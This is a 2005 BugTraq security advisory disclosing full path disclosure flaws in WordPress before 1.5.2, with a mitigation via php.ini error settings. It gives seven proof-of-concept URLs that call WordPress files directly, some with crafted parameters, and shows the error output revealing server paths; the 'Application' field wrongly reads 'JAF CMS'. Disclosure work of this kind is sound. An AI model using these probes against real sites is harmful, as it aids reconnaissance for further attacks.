BugTraq
[ECHO_ADV_24$2005] Full path disclosure on WordPress < 1.5.2 Dec 20 2005 11:01AM
Dedi securityfocus com,Dwianto securityfocus com (the_day echo or id)
ECHO.OR.ID
ECHO_ADV_24$2005

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[ECHO_ADV_24$2005] Full path disclosure on WordPress < 1.5.2
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Author: Dedi Dwianto
Date: Dec, 20th 2005
Location: Indonesia, Jakarta
Web: http://echo.or.id/adv/adv24-theday-2005.txt

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Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application : JAF CMS
version: < 1.5.2
URL : http://wordpress.org/
Description :

WordPress is a very popular personal publishing platform aka blog
software, and is used by everyone from celebrities, to government
officials, to non technical average joe's.
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Vulnerabilities:
~~~~~~~~~~~~~~~~

A. Full path disclosure:

A remote user can access the file directly to cause the system to display
an error message that indicates the installation path. The resulting error
message will disclose potentially sensitive installation path information
to the remote attacker.

* http://victim/[WP Folder]/wp-includes/vars.php?PHP_SELF%20=dudul

POC :

http://localhost/blog/wp-includes/vars.php?PHP_SELF%20=dudul

Fatal error: Call to undefined function: get_settings() in
/var/www/html/blog/wp-includes/vars.php on line 106

* http://victim/[WP Folder]/wp-content/plugins/hello.php

POC :

http://localhost/blog/wp-content/plugins/hello.php

Fatal error: Call to undefined function: wptexturize() in
/var/www/html/blog/wp-content/plugins/hello.php on line 44

* http://victim/[WP Folder]/wp-admin/menu-header.php?self=dudul

POC :

http://localhost/blog/wp-admin/menu-header.php?self=dudul

PHP Fatal error: Call to undefined function: get_admin_page_parent() in
/var/www/html/blog/wp-admin/menu-header.php on line 6
Fatal error: Call to undefined function: get_admin_page_parent() in
/var/www/html/blog/wp-admin/menu-header.php on line 6

* http://victim/[WP Folder]/wp-admin/upgrade-functions.php

POC :

http://localhost/[WP Folder]/wp-admin/upgrade-functions.php

Warning: main(ABSPATH/wp-admin/admin-functions.php): failed to open stream: No such file or directory
in /var/www/html/blog/wp-admin/upgrade-functions.php on line 3
PHP Fatal error: main(): Failed opening required 'ABSPATH/wp-admin/admin-functions.php'
(include_path='.:/usr/share/pear:/usr/local/lib/php') in /var/www/html/blog/wp-admin/upgrade-functions.php on line 3
Fatal error: main(): Failed opening required 'ABSPATH/wp-admin/admin-functions.php'
(include_path='.:/usr/share/pear:/usr/local/lib/php') in /var/www/html/blog/wp-admin/upgrade-functions.php on line 3

* http://victim/[WP FOlder]/wp-admin/edit-form.php

POC :

http://localhost/blog/wp-admin/edit-form.php

PHP Fatal error: Call to undefined function: _e() in /var/www/html/blog/wp-admin/edit-form.php on line 3
Fatal error: Call to undefined function: _e() in /var/www/html/blog/wp-admin/edit-form.php on line 3

* http://victim/[WP FOlder]/wp-settings.php

POC : http://localhost/blog/wp-settings.php

Warning: main(ABSPATHwp-includes/wp-db.php): failed to open stream: No such file or directory in
/var/www/html/blog/wp-settings.php on line 59
PHP Fatal error: main(): Failed opening required 'ABSPATHwp-includes/wp-db.php'
(include_path='.:/usr/share/pear:/usr/local/lib/php') in /var/www/html/blog/wp-settings.php on line 59
Fatal error: main(): Failed opening required 'ABSPATHwp-includes/wp-db.php'
(include_path='.:/usr/share/pear:/usr/local/lib/php') in /var/www/html/blog/wp-settings.php on line 59

* http://victim/[WP FOlder]/wp-admin/edit-form-comment.php

POC :

http://localhost/blog/wp-admin/edit-form-comment.php

Fatal error: Call to undefined function: __() in /var/www/html/blog/wp-admin/edit-form-comment.php on line 2

B. Fix

For User and do not know how to fix the script , change php.ini file setting
then turn on log_errors , and turn off display_error

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Shoutz:
~~~~~~~

~ y3dips, moby, comex, z3r0byt3, K-159, c-a-s-e, S`to, lirva32, anonymous
~ newbie_hacker (at) yahoogroups (dot) com [email concealed]
~ #e-c-h-o@DALNET

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Contact:
~~~~~~~~

the_day || echo|staff || the_day[at]echo[dot]or[dot]id
Homepage: http://theday.echo.or.id/

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